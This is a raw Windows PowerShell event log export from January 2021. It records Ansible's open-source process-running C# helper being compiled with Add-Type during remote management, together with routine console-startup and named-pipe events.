gICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJldCwgc3RycHRycywgMCwgbnVtQXJncyk7CiAgICAgICAgICAgIHN0cmluZ1tdIGNtZGxpbmVQYXJ0cyA9IHN0cnB0cnMuU2VsZWN0KHMgPT4gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShzKSkuVG9BcnJheSgpOwoKICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChyZXQpOwoKICAgICAgICAgICAgcmV0dXJuIGNtZGxpbmVQYXJ0czsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNlYXJjaFBhdGgoc3RyaW5nIGxwRmlsZU5hbWUpCiAgICAgICAgewogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIHNiT3V0ID0gbmV3IFN0cmluZ0J1aWxkZXIoMTAyNCk7CiAgICAgICAgICAgIEludFB0ciBmaWxlUGFydE91dDsKCiAgICAgICAgICAgIGlmIChTZWFyY2hQYXRoKG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yIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1dCBidWZmZXJzIGFuZCBnZXQgc3Rkb3V0L3N0ZGVycgogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZG91dF9mcyA9IG5ldyBGaWxlU3RyZWFtKHN0ZG91dF9yZWFkLCBGaWxlQWNjZXNzLlJlYWQsIDQwOTYpOwogICAgICAgICAgICBTdHJlYW1SZWFkZXIgc3Rkb3V0ID0gbmV3IFN0cmVhbVJlYWRlcihzdGRvdXR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G91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZG
ScriptBlock ID: b29ee709-6b8b-427a-b2cc-07c57de9c161
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1623 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4348 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:51 AM | dfeadd90-ee34-0004-b526-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1622 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4128 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:51 AM | dfeadd90-ee34-0000-eceb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 1536 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1621 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 2284 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:51 AM | dfeadd90-ee34-0000-eceb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1620 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1536 | 4128 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:51 AM | dfeadd90-ee34-0000-eceb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1619 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 664 | 224 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:48 AM | dfeadd90-ee34-0000-e7eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 664 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1618 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 664 | 4928 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:48 AM | dfeadd90-ee34-0000-e7eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1617 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 664 | 224 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:48 AM | dfeadd90-ee34-0000-e7eb-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 8d1f26bd-3e31-478f-b670-53d9529e8ebe
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 03e8996b-bbc0-43b0-a32a-fcc3f271c332
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1616 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4000 | 2496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:53:48 AM | dfeadd90-ee34-0001-3228-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
